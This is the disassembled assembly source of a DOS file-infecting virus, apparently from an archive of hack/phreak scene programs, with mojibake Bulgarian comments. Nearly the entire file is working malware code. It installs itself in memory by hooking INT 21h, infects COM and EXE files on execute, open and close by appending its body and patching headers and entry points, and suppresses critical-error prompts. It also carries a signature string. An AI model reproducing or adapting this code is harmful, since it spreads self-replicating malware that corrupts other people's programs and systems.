home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MANVIR.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  22KB  |  529 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                                      ██
  6. ;██                             PROB                                     ██
  7. ;██                                                                      ██
  8. ;██      Created:   1-Jan-80                                             ██
  9. ;██      Version:                                                        ██
  10. ;██      Passes:    5          Analysis Options on: ABCDEFPX             ██
  11. ;██                                                                      ██
  12. ;██                                                                      ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.  
  15. data_1e         equ     0                       ; (6B7E:0000=0)
  16. data_2e         equ     2                       ; (6B7E:0002=0)
  17. data_4e         equ     0F1h                    ; (6B7E:00F1=0)
  18. data_17e        equ     499h                    ; (6C11:0499=0)
  19. data_18e        equ     49Bh                    ; (6C11:049B=0)
  20. data_19e        equ     49Dh                    ; (6C11:049D=0)
  21. data_20e        equ     49Fh                    ; (6C11:049F=0)
  22. data_21e        equ     4B8h                    ; (6C11:04B8=0)
  23.  
  24. ;-------------------------------------------------------------- seg_a  ----
  25.  
  26. seg_a           segment para public
  27.                 assume cs:seg_a , ds:seg_a , ss:stack_seg_c
  28.  
  29.                 db      256 dup (0)
  30.                 db      8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
  31.                 db      1, 0B4h, 9, 0CDh, 21h, 0B8h
  32.                 db      0, 4Ch, 0CDh
  33.                 db      '!This is a test', 0Ah, 0Dh, '$'
  34.                 db      1807 dup (0)
  35.  
  36. seg_a           ends
  37.  
  38.  
  39.  
  40. ;-------------------------------------------------------------- seg_b  ----
  41.  
  42. seg_b           segment para public
  43.                 assume cs:seg_b , ds:seg_b , ss:stack_seg_c
  44.  
  45.                 db      241 dup (0)
  46.                 db      4Fh, 4Dh
  47.                 db      9 dup (20h)
  48.                 db      0, 0, 0, 0
  49.  
  50. ;██████████████████████████████████████████████████████████████████████████
  51. ;
  52. ;                       Program Entry Point
  53. ;
  54. ;██████████████████████████████████████████████████████████████████████████
  55.  
  56.  
  57. prob            proc    far
  58.  
  59. start:
  60.                 jmp     short loc_3             ; (0137)
  61. data_10         dw      5A4Dh
  62.                 db      21h, 1, 6, 0, 0, 0
  63.                 db      20h, 0, 0, 0, 0FFh, 0FFh
  64. data_11         dw      0
  65. data_12         dw      0
  66.                 db      0BBh, 0DDh
  67. data_13         dd      00100h
  68.                 db      'COMMAND.COM'
  69.                 db      0
  70.  
  71. prob            endp
  72.  
  73. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  74. ;                              SUBROUTINE
  75. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  76.  
  77. sub_1           proc    near                    ; Å░«óÑ░┐óá ñ὿ Ñ EXE
  78.                 cmp     cs:data_10,4D5Ah        ; (6C11:0102=5A4Dh)
  79.                 je      loc_ret_2               ; Jump if equal
  80.                 cmp     cs:data_10,5A4Dh        ; (6C11:0102=5A4Dh)
  81.  
  82. loc_ret_2:
  83.                 retn
  84. sub_1           endp
  85.  
  86. loc_3:
  87.                 mov     cs:data_19e,ds          ; (6C11:049D=0)
  88.                 push    ax
  89.                 mov     ax,0EC59h               ; Å░«óÑ░┐óá ñ὿ Ñ ¿¡▒▓὿░á¡
  90.                 int     21h                     ; DOS Services  ah=function ECh
  91.                 cmp     bp,ax                   ; Ç¬« AX<>BP ¡Ñ Ñ ¿¡▒▓὿░á¡
  92.                 jne     loc_6
  93.                 push    cs
  94.                 pop     ds
  95. loc_4:
  96.                 pop     ax
  97.                 mov     es,cs:data_19e          ; (6C11:049D=0)
  98.                 call    sub_1                   ; (COM/EXE)?
  99.                 jz      loc_5                   ; Jump if zero
  100.                 mov     cx,0Dh                  ; é║º▒▓á¡«ó┐óá COM
  101.                 mov     si,102h
  102.                 push    es
  103.                 mov     di,100h
  104.                 push    di                      ; Å░ѼÑ▒▓óá »║░ó¿▓Ñ 13 íá⌐▓á
  105.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  106.                 push    es
  107.                 pop     ds                      ; Å░Ñ╡«ñ ¬║¼ »░«ú░á¼á▓á
  108.                 retf                            ; Return far
  109. loc_5:
  110.                 mov     si,es                   ; é║º▒▓á¡«ó┐óá EXE
  111.                 add     si,10h
  112.                 add     word ptr cs:data_13+2,si; Æ«óá Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á CS
  113.                 add     si,cs:data_11           ; Æ«óá Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS
  114.                 mov     di,cs:data_12           ; Æ«óá Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á SP
  115.                 push    es
  116.                 pop     ds
  117.                 cli                             ; Disable interrupts
  118.                 mov     ss,si
  119.                 mov     sp,di
  120.                 sti                             ; Enable interrupts
  121.                 jmp     cs:data_13              ; Å░Ñ╡«ñ ¬║¼ »░«ú░á¼á▓á
  122. loc_6:
  123.                 mov     ax,3521h
  124.                 int     21h                     ; DOS Services  ah=function 35h
  125.                                                 ;  get intrpt vector al in es:bx
  126.                 mov     dx,bx
  127.                 push    es
  128.                 pop     ds
  129.                 mov     ax,25ECh                ; Å░ѼÑ▒▓óá INT 21H ¡á INT ECH
  130.                 int     21h                     ; DOS Services  ah=function 25h
  131.                                                 ;  set intrpt vector al to ds:dx
  132.                 mov     ax,cs:data_19e          ; (6C11:049D=0)
  133.                 mov     es,ax
  134.                 dec     ax
  135.                 mov     ds,ax
  136.                 mov     bx,word ptr ds:data_2e+1        ; (6B7E:0003=0)
  137.                 sub     bx,65h
  138.                 add     ax,bx
  139.                 mov     es:data_2e,ax           ; (6B7E:0002=0)
  140.                 mov     ah,4Ah                  ; 'J'
  141.                 int     0ECh
  142.                 mov     bx,64h
  143.                 mov     ah,48h                  ; 'H'
  144.                 int     0ECh
  145.                 sub     ax,10h
  146.                 mov     es,ax
  147.                 mov     byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
  148.                 push    cs
  149.                 pop     ds
  150.                 mov     si,100h
  151.                 mov     di,si
  152.                 mov     cx,39Fh
  153.                 nop                             ; Å░ѼÑ▒▓óá ▒Ñ ó║ó ó¿▒«¬¿▓Ñ áñ░Ñ▒¿
  154.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  155.                 mov     di,1D0h
  156.                 push    es
  157.                 push    di
  158.                 retf                            ; Return far
  159.                 mov     word ptr es:data_4e,70h ; (6B7E:00F1=0)
  160.                 mov     ax,3521h  ;(??) Æế ¿¡▒▓░│¬╢¿┐ ¼«ªÑ ñá ▒Ñ «»▓¿¼¿º¿░á
  161.                 int     0ECh
  162.                 mov     cs:data_15,bx           ; (6C11:0216=12E4h)
  163.                 mov     cs:data_16,es           ; (6C11:0218=12Eh)
  164.                 mov     ah,25h                  ; '%'
  165.                 mov     dx,201h
  166.                 push    cs
  167.                 pop     ds
  168.                 int     0ECh                    ; Å░Ñ╡óá╣á óѬ▓«░á ¡á INT 21H
  169.                 push    cs
  170.                 pop     es
  171.                 mov     di,49Fh
  172.                 mov     cx,19h
  173.                 mov     al,0                    ; ì│½¿░á 19h íá⌐▓á ▒½Ññ ¬░á┐
  174.                 rep     stosb                   ; Rep when cx >0 Store al to es:[di]
  175.                 jmp     loc_4                   ; é║º▒▓á¡«ó┐óá »░«ú░á¼á▓á
  176. loc_7:
  177.                 mov     bp,ax                   ; Æ«óá Ñ ┤│¡¬╢¿┐ ECH
  178.                 iret                            ; Interrupt return
  179.                 cmp     ax,0EC59h               ; éòÄäìÇ ÆÄùèÇ ìÇ INT 21H
  180.                 je      loc_7                   ; Jump if equal
  181.                 cmp     ax,4B00h
  182.                 je      loc_9                   ; Jump if equal
  183.                 cmp     ah,3Dh                  ; '='
  184.                 je      loc_11                  ; Jump if equal
  185.                 cmp     ah,3Eh                  ; '>'
  186.                 je      loc_13                  ; Jump if equal
  187. loc_8:
  188.                 jmp     far ptr loc_1           ;*(012E:12E4)
  189. loc_9:
  190.                 call    sub_2                   ; (028B)
  191.                 jmp     short loc_8             ; (0215)
  192. loc_10:
  193.                 pop     cx
  194.                 jmp     short loc_8             ; (0215)
  195. loc_11:
  196.                 push    cx
  197.                 call    sub_6                   ; (040E)
  198.                 jc      loc_10                  ; Jump if carry Set
  199.                 cmp     cx,20h
  200.                 pop     cx
  201.                 jnz     loc_8                   ; Jump if not zero
  202.                 mov     al,2
  203.                 pushf                           ; Push flags
  204.                 call    dword ptr cs:[216h]     ; (6C11:0216=12E4h)
  205.                 jc      loc_ret_12              ; Jump if carry Set
  206.                 push    ax
  207.                 push    bx
  208.                 mov     bx,ax
  209.                 mov     al,cs:data_21e          ; (6C11:04B8=0)
  210.                 mov     cs:data_20e[bx],al      ; (6C11:049F=0)
  211.                 pop     bx
  212.                 pop     ax
  213.  
  214. loc_ret_12:
  215.                 retf    2                       ; Return far
  216. loc_13:
  217.                 cmp     byte ptr cs:data_20e[bx],0      ; (6C11:049F=0)
  218.                 je      loc_8                   ; Jump if equal
  219.                 push    ax
  220.                 mov     al,cs:data_20e[bx]      ; (6C11:049F=0)
  221.                 mov     cs:data_21e,al          ; (6C11:04B8=0)
  222.                 mov     byte ptr cs:data_20e[bx],0      ; (6C11:049F=0)
  223.                 mov     ah,45h                  ; 'E'
  224.                 int     0ECh
  225.                 mov     cs:data_19e,ax          ; (6C11:049D=0)
  226.                 pop     ax
  227.                 jc      loc_8                   ; Jump if carry Set
  228.                 pushf                           ; Push flags
  229.                 call    dword ptr cs:[216h]     ; (6C11:0216=12E4h)
  230.                 jc      loc_ret_12              ; Jump if carry Set
  231.                 push    bx
  232.                 mov     bx,cs:data_19e          ; (6C11:049D=0)
  233.                 push    ds
  234.                 call    sub_3                   ; (02BB)
  235.                 call    sub_4                   ; (02DC)
  236.                 call    sub_5                   ; (03FA)
  237.                 pop     ds
  238.                 pop     bx
  239.                 clc                             ; Clear carry flag
  240.                 retf    2                       ; Return far
  241.  
  242. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  243. ;                              SUBROUTINE
  244. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  245.  
  246. sub_2           proc    near
  247.                 push    ax
  248.                 push    bx
  249.                 push    cx
  250.                 call    sub_6                   ; (040E)
  251.                 jc      loc_16                  ; Ç¬« ¡Ñ Ñ ¿º»║½¡¿¼ ¿º╡«ñ
  252.                 push    cx
  253.                 push    ds
  254.                 call    sub_3                   ; Å░Ñ¡á▒«╖óá INT 24H
  255.                 pop     ds
  256.                 mov     ax,4301h
  257.                 xor     cx,cx                   ; Zero register
  258.                 int     0ECh                    ; Å░«¼Ñ¡┐ á▓░¿í│▓¿▓Ñ
  259.                 jc      loc_14                  ; Jump if carry Set
  260.                 mov     ax,3D02h                ; Ä▓óá░┐ ú« ºá ╖Ñ▓Ñ¡Ñ
  261.                 int     0ECh
  262.                 mov     bx,ax
  263. loc_14:
  264.                 pop     cx
  265.                 jc      loc_15                  ; Ç¬« ¿¼á ú░Ñ╕¬á ¿º╡«ñ
  266.                 call    sub_4                   ; (02DC)
  267.                 mov     ax,4301h
  268.                 int     0ECh
  269. loc_15:
  270.                 call    sub_5                   ; (03FA)
  271. loc_16:
  272.                 pop     cx
  273.                 pop     bx
  274.                 pop     ax
  275.                 retn
  276. sub_2           endp
  277.  
  278.  
  279. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  280. ;                              SUBROUTINE
  281. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  282.  
  283. sub_3           proc    near                   ; Å░Ñ¡á▒«╖óá INT 24H
  284.                 push    ax
  285.                 push    dx
  286.                 push    bx
  287.                 push    es
  288.                 mov     ax,3524h
  289.                 int     0ECh
  290.                 mov     cs:data_17e,bx          ; (6C11:0499=0)
  291.                 mov     cs:data_18e,es          ; (6C11:049B=0)
  292.                 pop     es
  293.                 pop     bx
  294.                 push    cs
  295.                 pop     ds
  296.                 mov     dx,469h
  297.                 mov     ah,25h
  298.                 int     0ECh                     ; Å░Ñ¡á▒«╖óá INT 24H
  299.                 pop     dx
  300.                 pop     ax
  301.                 retn
  302. sub_3           endp
  303.  
  304.  
  305. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  306. ;                              SUBROUTINE
  307. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  308.  
  309. sub_4           proc    near
  310.                 push    ax
  311.                 push    cx
  312.                 push    dx
  313.                 push    si
  314.                 push    di
  315.                 push    ds
  316.                 mov     di,102h
  317.                 mov     cx,0FFFFh
  318.                 mov     dx,0FFFAh
  319.                 mov     ax,4202h
  320.                 int     0ECh                  ; Å░ѼÑ▒▓óá │¬áºá▓ѽ┐ ó ¬░á┐
  321.                 mov     ah,3Fh                ; '?'
  322.                 mov     cx,6
  323.                 push    cs
  324.                 pop     ds
  325.                 mov     dx,di
  326.                 int     0ECh                    ; ùÑ▓Ñ 6 íá⌐▓á
  327.                 jc      loc_17                  ; Jump if carry Set
  328.                 cmp     word ptr cs:[di],4E41h  ; Å░«óÑ░┐óá ñ὿ Ñ ºá░áºÑ¡
  329.                 je      loc_17                  ; Jump if equal
  330.                 xor     cx,cx
  331.                 xor     dx,dx
  332.                 mov     ax,4200h
  333.                 int     0ECh                    ; Å░ѼÑ▒▓óá FP ó ¡á╖Ὣ▓«
  334.                 mov     ah,3Fh                  ; Å«¼Ñ▒▓Ñóá »║░ó¿▓Ñ 18h íá⌐▓á
  335.                 mov     cx,18h                  ; «▓ CS:100
  336.                 mov     dx,di
  337.                 int     0ECh                    ; ùÑ▓Ñ »║░ó¿▓Ñ 18h íá⌐▓á
  338.                 jnc     loc_18                  ; Jump if carry=0
  339. loc_17:
  340.                 jmp     loc_27                  ; (03E6)
  341. loc_18:
  342.                 xor     cx,cx                   ; Zero register
  343.                 xor     dx,dx                   ; Zero register
  344.                 cmp     byte ptr cs:data_21e,2  ; (6C11:04B8=0)
  345.                 jne     loc_19                  ; Jump if not equal
  346.                 cmp     word ptr [di+1],4000h
  347.                 ja      loc_17                  ; Jump if above
  348.                 dec     cx
  349.                 mov     dx,0C0h
  350.                 sub     dx,499h
  351. loc_19:
  352.                 mov     ax,4202h                ; Å░ѼÑ▒▓óá FP ó ¬░á┐ ¡á ┤´á
  353. loc_20:
  354.                 int     0ECh
  355.                 test    ax,0Fh
  356.                 jz      loc_21                  ; Jump if zero
  357.                 mov     cx,dx                   ; çá¬░║ú½┐ ñ« 16
  358.                 mov     dx,ax
  359.                 add     dx,10h
  360.                 adc     cx,0
  361.                 and     dl,0F0h
  362.                 mov     ax,4200h                ; Å░ѼÑ▒▓óá ¡á ºá¬░║ú½Ñ¡¿┐
  363.                 jmp     short loc_20            ; (0339)
  364. loc_21:
  365.                 call    sub_1                   ; (0126)
  366.                 jz      loc_23                  ; ö´║▓ Ñ EXE
  367.                 or      dx,dx                   ; Zero ?
  368.                 jnz     loc_17                  ; Jump if not zero
  369.                 cmp     ax,400h
  370.                 jae     loc_22                  ; Jump if above or =
  371.                 jmp     loc_27                  ; (03E6)
  372. loc_22:
  373.                 cmp     ax,0FA00h
  374.                 ja      loc_27                  ; Jump if above
  375. loc_23:
  376.                 mov     cl,4
  377.                 shr     ax,cl                   ; Shift w/zeros fill
  378.                 mov     si,ax
  379.                 mov     cl,0Ch
  380.                 shl     dx,cl                   ; Shift w/zeros fill
  381.                 add     si,dx                 ; Å«½│╖áóá ñ║½ª¿¡á▓á ó »á░áú░á┤¿
  382.                 mov     ah,40h                ; çỿ▒óá 399h íá⌐▓á
  383.                 mov     dx,100h
  384.                 mov     cx,399h
  385.                 nop
  386.                 int     0ECh
  387.                 jc      loc_27                  ; Jump if carry Set
  388.                 call    sub_1
  389.                 jnz     loc_25                  ; Jump if not zero
  390.                 sub     si,10h
  391.                 sub     si,cs:[di+8]              ; è«░¿ú¿░á »░Ñ┤¿¬▒á
  392.                 mov     word ptr cs:[di+14h],100h
  393.                 mov     cs:[di+16h],si
  394.                 mov     word ptr cs:[di+10h],400h
  395.                 add     si,44h
  396.                 nop
  397.                 mov     cs:[di+0Eh],si
  398.                 mov     ax,4202h
  399.                 xor     cx,cx                   ; Zero register
  400.                 xor     dx,dx                   ; Zero register
  401.                 int     0ECh                    ; éºÑ¼á ñ║½ª¿¡á▓á
  402.                 mov     cx,200h
  403.                 div     cx                      ; ax,dx rem=dx:ax/reg
  404.                 or      dx,dx                   ; Zero ?
  405.                 jz      loc_24                  ; Jump if zero
  406.                 inc     ax
  407. loc_24:
  408.                 mov     cs:[di+2],dx            ;Å░«¼Ñ¡┐ ñ║½ª¿¡á▓á ó »░Ñ┤¿¬▒á
  409.                 mov     cs:[di+4],ax
  410.                 jmp     short loc_26            ; (03D4)
  411. loc_25:
  412.                 push    si
  413.                 push    di
  414.                 push    es
  415.                 push    cs
  416.                 pop     es
  417.                 mov     si,46Ch
  418.                 mov     cx,0Bh
  419.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  420.                 pop     es
  421.                 pop     di
  422.                 pop     word ptr [di+0Bh]
  423. loc_26:
  424.                 mov     ax,4200h                ; Å░ѼÑ▒▓óá FP ó ¡á╖Ὣ▓«
  425.                 xor     cx,cx                   ; Zero register
  426.                 xor     dx,dx                   ; Zero register
  427.                 int     0ECh
  428.                 mov     ah,40h                  ; çỿ▒óá »║░ó¿▓Ñ 16h íá⌐▓á
  429.                 mov     cx,18h
  430.                 mov     dx,di
  431.                 int     0ECh
  432. loc_27:                                         ; éºÑ¼á ñá▓á▓á ¼│ ¿ ┐ ºá»¿▒óá
  433.                 mov     ax,5700h
  434.                 int     0ECh
  435.                 mov     al,1
  436.                 int     0ECh
  437.                 mov     ah,3Eh                  ; çá▓óá░┐ ┤´á
  438.                 int     0ECh
  439.                 pop     ds
  440.                 pop     di
  441.                 pop     si
  442.                 pop     dx
  443.                 pop     cx
  444.                 pop     ax
  445.                 retn
  446. sub_4           endp
  447.  
  448.  
  449. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  450. ;                              SUBROUTINE
  451. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  452.  
  453. sub_5           proc    near                    ; é║º▒▓á¡«ó┐óá INT 24H
  454.                 push    ax
  455.                 push    dx
  456.                 push    ds
  457.                 mov     ax,2524h
  458.                 mov     dx,cs:data_17e          ; (6C11:0499=0)
  459.                 mov     ds,cs:data_18e          ; (6C11:049B=0)
  460.                 pop     ds
  461.                 pop     dx
  462.                 pop     ax
  463.                 retn
  464. sub_5           endp
  465.  
  466.  
  467. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  468. ;                              SUBROUTINE
  469. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  470.  
  471. sub_6           proc    near                   ; çá»áºóá ░Ñú¿▒▓░¿▓Ñ
  472.                 push    ax
  473.                 push    es
  474.                 push    di
  475.                 push    bx
  476.                 mov     di,dx
  477.                 push    ds
  478.                 pop     es
  479.                 mov     al,0
  480.                 mov     cx,40h                  ; Æ║░▒¿ ¬░á┐▓ ¡á ¿¼Ñ▓« ¡á ┤´á
  481.                 repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  482.                 mov     ax,[di-3]
  483.                 mov     cx,[di-5]
  484.                 and     ax,5F5Fh
  485.                 and     ch,5Fh
  486.                 cmp     ax,4D4Fh                ;(COM)?
  487.                 jne     loc_29
  488.                 cmp     cx,432Eh
  489.                 je      $+10h                   ; Jump if equal
  490. loc_28:
  491.                 stc                             ; Set carry flag
  492.                 jmp     short $+2Fh
  493. loc_29:
  494.                 cmp     ax,4558h
  495.                 jne     loc_28                  ; Jump if not equal
  496.                 cmp     cx,452Eh
  497. sub_6           endp
  498.  
  499.  
  500. seg_b           ends
  501.  
  502.  
  503.  
  504. ;--------------------------------------------------------- stack_seg_c  ---
  505.  
  506. stack_seg_c     segment para stack
  507.  
  508.                 db      75h, 0F2h, 0B9h, 7, 0, 0BBh
  509.                 db      0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
  510.                 db      24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
  511.                 db      1, 0E1h, 0F3h, 0B0h, 1, 75h
  512.                 db      2, 0B0h, 2, 2Eh, 0A2h, 0B8h
  513.                 db      4, 0B8h, 0, 43h, 0CDh, 0ECh
  514.                 db      5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
  515.                 db      3, 0CFh, 50h, 8Ch, 0C8h, 1
  516.                 db      6, 0Bh, 1, 58h, 0EAh, 0
  517.                 db      1
  518.                 db      ' Dark Lord, I summon thee!'
  519.                 db      0
  520.                 db      4Dh, 41h, 4Eh, 4Fh, 57h, 41h
  521.                 db      52h
  522.                 db      935 dup (0)
  523.  
  524. stack_seg_c     ends
  525.  
  526.  
  527.  
  528.                 end     start
  529.